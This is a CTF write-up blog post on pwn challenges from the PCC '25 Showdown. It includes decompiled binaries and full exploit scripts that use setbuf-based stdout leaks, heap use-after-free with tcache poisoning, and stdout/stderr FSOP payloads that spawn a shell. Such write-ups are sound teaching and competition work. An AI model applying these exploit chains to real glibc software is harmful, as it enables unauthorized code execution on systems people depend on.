- Published on
PCC '25 - SHOWDOWN - All Challenges
- Authors

- Name
- Muhammad Haris
- @ArcusTen

- Name
- Muhammad Awais
- @_mohmdawais

- Name
- Rao Ali Nawaz
- @rootxran
Elimination Bracket

To start of, we got lucky, random bracket generation resulted in us getting directly to round-2 without having to play round-1.
ROUND-2
The challenge name was file102.
Solution
Files provided:
$ ls
Dockerfile.dist docker-compose.yml file102 flag.txt
Binary has following protections:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.libs'
SHSTK: Enabled
IBT: Enabled
Stripped: No
file102 is a 64-bit elf binary, dynamically linked, has NX enabled yet with no PIE and has no stack canary. The binary interacts with the user through several prompts and then calls an attacker supplied function pointer with partially controlled arguments:
int __fastcall main(int argc, const char **argv, const char **envp)
{
void (__fastcall *ulong)(char *, char *, _QWORD, _QWORD, _QWORD, _QWORD); // rbp
__int16 v4; // bx
__int16 v5; // ax
write(1, "address: ", 9uLL);
ulong = (void (__fastcall *)(char *, char *, _QWORD, _QWORD, _QWORD, _QWORD))get_ulong();
write(1, "rdi: ", 5uLL);
v4 = get_ulong();
write(1, "rsi: ", 5uLL);
v5 = get_ulong();
ulong((char *)stdin + v4, &aRsi[v5], 0LL, 0LL, 0LL, 0LL);
write(1, "the code of pwn: ", 0x11uLL);
get_ulong();
puts("Indeed, the code of pwn is 1337.");
write(1, "the code of life: ", 0x12uLL);
get_ulong();
puts("Indeed, the code of life is 69.");
return 0;
}
Disassembling main revealed this sequence:
- print address: and read a number
- print rdi: and read a number
- print rsi: and read a number
- call the user provided number as a function pointer
The important part is how the call is prepared:
- the first number becomes the function pointer to call
- the second number is sign-extended to 16 bits and added to the stdin pointer
- the third number is sign-extended to 16 bits and added to a fixed base pointer
In short, the program gives us a weak indirect call primitive:
- call user_addr
rdi=stdin + sign16(user_rdi)rsi=fixed_base + sign16(user_rsi)
Now, because the program allows an indirect call, we should look for a libc function that:
- accepts two FILE struct as arguments
- can bridge stdin & stdout
- can create an exploitable condition
The right choice was setbuf(stdin, stdout)
Why setbuf(stdin, stdout)?
setbuf(FILE *stream, char *buf) makes the given stream use a user supplied buffer. If we call setbuf(stdin, stdout), we effectively tell libc:
Use the memory of the stdout FILE object as the read buffer for stdin that means the next input operations on stdin will write bytes into the stdout object. This is the primitive we need for FSOP.
Now, we need to find a way to leak libc and then overwrite the stdout FILE object in order to get code execution.
Leaking libc
For the libc leak I used the classic "stdout as a read primitive" technique. After setbuf(stdin, stdout), the next input bytes are written into the stdout file struct. So the first corruption payload only needs to damage the beginning of stdout:
p64(0xFBAD1887) + p64(0) * 3 + p8(0)
This is the same practical trick described in nobodyisnobody's stdout leak notes:
- set
_flagsto0xFBAD1887, - clear
_IO_read_ptr,_IO_read_endand_IO_read_base, - overwrite the low byte of
_IO_write_basewith zero.
That makes libc believe there is pending stdout data starting from an earlier address and when the binary prints the next message, libc flushes bytes from around the stdout file struct and leaks libc pointers.
Payload so far:
#!/usr/bin/env python3
from flashlib import *
gdbscript = """
"""
init("./file102_patched")
attach(gdbscript)
stdout_delta = (libc.sym._IO_2_1_stdout_ - (libc.sym._IO_2_1_stdin_ + 0x83)) & 0xFFFF
io.sendlineafter(b"address: ", encode(elf.plt.setbuf))
io.sendlineafter(b"rdi: ", b"0")
io.sendlineafter(b"rsi: ", encode(stdout_delta))
io.sendlineafter(b"the code of pwn: ", p64(0xFBAD1887) + p64(0) * 3 + p8(0))
io.interactive()
Leak:

Now here I did trial and error to find the right offset to leak libc but it can be calculated from the leaked pointers. Anyways:
leak = io.recvuntil(b"Indeed, the code of pwn is 1337.")
libc.address = u64(leak[0xbb8 : 0xbc0]) - 0x20efd0
Now the rest of exploit is simple, I used a 224 bytes stdout fsop stub to finish it up:
#!/usr/bin/env python3
from flashlib import *
gdbscript = """
"""
init("./file102_patched")
attach(gdbscript)
stdout_delta = (libc.sym._IO_2_1_stdout_ - (libc.sym._IO_2_1_stdin_ + 0x83)) & 0xFFFF
io.sendlineafter(b"address: ", encode(elf.plt.setbuf))
io.sendlineafter(b"rdi: ", b"0")
io.sendlineafter(b"rsi: ", encode(stdout_delta))
io.sendlineafter(b"the code of pwn: ", p64(0xFBAD1887) + p64(0) * 3 + p8(0))
leak = io.recvuntil(b"Indeed, the code of pwn is 1337.")
libc.address = u64(leak[0xbb8 : 0xbc0]) - 0x20efd0
logleak(libc.address)
'''
224 bytes stdout fsop stub
'''
stdout = libc.sym._IO_2_1_stdout_
vtable = libc.sym._IO_wfile_jumps - 0x20
payload = flat(
b" sh".ljust(8, b"\x00"),
0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, libc.sym.system, 0, 0, 0, 0,
stdout + 0x200, 0, 0, stdout - 0x10, 0,
0, 0, 0, 0, stdout - 0x8, vtable,
)
io.sendlineafter(b"the code of life: ", payload)
io.interactive()
Shell:

ROUND-3
to be added...
Solution
to be added...
SEMI-FINALS
to be added...
Solution
to be added...
FINALS
The challenge name was alt_finals.
Solution
Files provided:
$ ls
Dockerfile.dist docker-compose.yml alt_finals flag.txt
Binary has following protections:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.libs'
SHSTK: Enabled
IBT: Enabled
Stripped: No
Lets have a look at the disassembly of main:
int __fastcall main(int argc, const char **argv, const char **envp)
{
setbuf(_bss_start, 0LL);
setbuf(stdin, 0LL);
names = (__int64)malloc(0xA0uLL);
while ( 1 )
{
switch ( (unsigned __int16)menu() )
{
case 0u:
return 0;
case 1u:
do_malloc();
break;
case 2u:
do_free();
break;
case 3u:
do_edit();
break;
case 4u:
do_print();
break;
case 5u:
write_name();
break;
default:
puts("Invalid index!");
break;
}
}
}
Now if we look at the do_free() function, we can see that it frees the chunk at the given index but does not set the pointer to NULL:
unsigned __int64 do_free()
{
unsigned __int8 v1; // [rsp+7h] [rbp-9h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("idx: ");
__isoc99_scanf("%hhu%*c", &v1);
if ( v1 <= 5u && chunks[v1] )
free((void *)chunks[v1]);
else
puts("invalid index");
return v2 - __readfsqword(0x28u);
}
do_free() does:
free(chunks[v1]);
but never:
chunks[v1] = NULL;
sizes[v1] = 0;
Therefore, chunks[idx] still points to freed memory. Later do_edit(), do_print() checks chunks[idx] which is still nonzero, so both operate on freed chunks.
This gives us classic use-after-free (UAF) vulnerability. We can free a chunk, then allocate a new chunk of the same size and then use do_edit() or do_print() to read/write to the new chunk through the old pointer. This allows us to create overlapping chunks and perform heap exploitation.
But if you look closely at the do_edit() function, it has one major flaw:
int do_edit()
{
const char *v0; // rax
const char *v1; // rbx
unsigned __int8 v3; // [rsp+Fh] [rbp-11h]
printf("idx: ");
if ( v3 <= 5u && chunks[v3] && sizes[v3] )
{
read(0, (void *)chunks[v3], (unsigned int)(sizes[v3] - 1));
v1 = (const char *)chunks[v3];
v0 = &v1[strcspn(v1, "\n")];
*v0 = 0;
}
else
{
LODWORD(v0) = puts("invalid index");
}
return (int)v0;
}
Here v3 is never initialized. Normally you'd expect something like:
printf("idx: ");
scanf("%hhu%*c", &v3);
This causes v3 to have an uninitialized value resulting in random index chosen.

If this function worked properly, it would have been a simple UAF exploitation. But because of this flaw, we can only use write_name() function to edit the freed chunk. But write_name() has a limit of 31 bytes. So we can only write 31 bytes at a time to the freed chunk.
This makes the exploitation a bit more complex. We can still use the UAF to create overlapping chunks and perform heap exploitation, but we have to be careful with the 31-byte limit.
This is the complete exploit code I wrote to solve the challenge:
#!/usr/bin/env python3
from flashlib import *
gdbscript = """
# b *0x555555554000+0x12c2
"""
init("./alt_finals")
attach(gdbscript)
def malloc(idx):
io.sendlineafter(b">> ", b"1")
io.sendlineafter(b"idx: ", encode(idx))
def free(idx):
io.sendlineafter(b">> ", b"2")
io.sendlineafter(b"idx: ", encode(idx))
def edit():
io.sendlineafter(b">> ", b"3")
def show(idx):
io.sendlineafter(b">> ", b"4")
io.sendlineafter(b"idx: ", encode(idx))
def writeName(idx, name):
io.sendlineafter(b">> ", b"5")
io.sendlineafter(b"idx: ", encode(idx))
io.sendafter(b"name: ", name)
def write_fake_tcache_perthread(fake_tcache_perthread):
'''
i'm writing this function to write fake_tcache_perthread in chunks
as I can only write 31 bytes at a time using writeName function
'''
for i in range(0, len(fake_tcache_perthread), 0x20):
io.sendlineafter(b">> ", b"5")
chunk = fake_tcache_perthread[i:i+0x20][:-1]
io.sendlineafter(b"idx: ", encode(-21 + i // 0x20))
io.sendafter(b"name: ", chunk)
# allocating 6 chunks of size 0x20
for i in range(6):
malloc(i)
'''
i am going to overwrite tcache_perthread to fill up tcache bins
so that freed chunks go into unsortedbins first, giving a libc leak
on the heap
'''
fake_tcache_perthread = flat(
0, 0x291,
0x0007000700070007, 0x0007000700070007,
0x0007000700070007, 0x0007000700070007,
)
write_fake_tcache_perthread(fake_tcache_perthread)
'''
creating overlapping chunks to make a chunk of size 0xa0 so that when
I free it, it goes into the unsortedbin
'''
writeName(5, flat(0, 0xa1)[:-1])
free(0)
show(0)
libc.address = fixleak(io.recvafter(b"data: ")) - 0x210bb0
logleak(libc.address)
'''
correcting tcache_perthread to get a heap leak and be able to use
tcache poisoning to get stack & elf leaks
'''
fake_tcache_perthread = flat(
0, 0x291,
0x0, 0x0,
0x0, 0x0,
)
write_fake_tcache_perthread(fake_tcache_perthread)
'''
tcache poisoning setup to get a stack leak and getting heap leak on the way
'''
free(2)
free(1)
show(2)
heap = fixleak(io.recvafter(b"data: ")) << 12
logleak(heap)
stackLeakPTR = libc.address + 0x2116e0
writeName(6, flat(0, 0x21, mangle(heap+0x370, stackLeakPTR)))
malloc(2)
malloc(1)
show(1)
stack = fixleak(io.recvafter(b"data: "))
logleak(stack)
'''
getting elf leak via og tcache poisoning
'''
free(3)
free(2)
elfLeakPTR = stack - 0xf68
logleak(elfLeakPTR)
writeName(6, flat(0, 0x21, mangle(heap+0x370, elfLeakPTR)))
malloc(3)
malloc(2)
show(2)
elf.address = fixleak(io.recvafter(b"data: ")) - 0x6081
logleak(elf.address)
'''
EXPLOITATION OVERVIEW:-
Now, in this challenge global varible "names" stores the pointer to the heap chunk
that will be used to store name. What I will do is I'm gonna overwrite that
pointer to point to stdin file structure in libc to overwrite its
_IO_buf_base & _IO_buf_end pointers to later point them to stderr file
structure and then performing stderr fsop to get code execution
'''
logleak(elf.sym.names)
# name chunk pointer is the heap chunk that stores the name
names_chunk_ptr = heap + 0x2a0
offset = (names_chunk_ptr - elf.sym.names) // 0x20
# subtracting 8 to get write over _IO_buf_base & _IO_buf_end in one go
# as writeName function allows me to write 31 bytes only
towrite = libc.sym._IO_2_1_stdin_ - 8
logleak(towrite)
writeName(-offset, p64(towrite))
writeName(2, flat(libc.sym._IO_2_1_stderr_, libc.sym._IO_2_1_stderr_+244))
# stderr-FSOP-stub from @TheFlash2k
vtable = libc.sym._IO_wfile_jumps
io_file = libc.sym._IO_2_1_stderr_
payload = flat(
unpack(b" sh".ljust(8, b"\x00")),
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, libc.sym.system, 0x00, 0x00, 0x00, 0x00,
0x0, 0x0, 0x00, libc.bss()+0x100, 0x00,
io_file+0x20, io_file-0x20,
0x0, 0x0, 0x0, (io_file-0xe0)+0xc0, 0x0, 0x0,
vtable)
io.sendafter(b">> ", payload)
io.interactive()
Shell:

But here is the sad part, we were not able to finish the challenge during showdown finals due to time constraints. So a sudden death match was arranged.
SUDDEN DEATH (FINALS)
It was a GOT overwrite challenge with a given write-what-where primitive and a win function. The challenge name was I write I win. Unfortunately, I dont have the challenge files anymore, but the solution was simple. We just had to overwrite exit() GOT entry with win() function address so when the program calls exit(), it will call win() instead giving us a shell.
Event Dumps

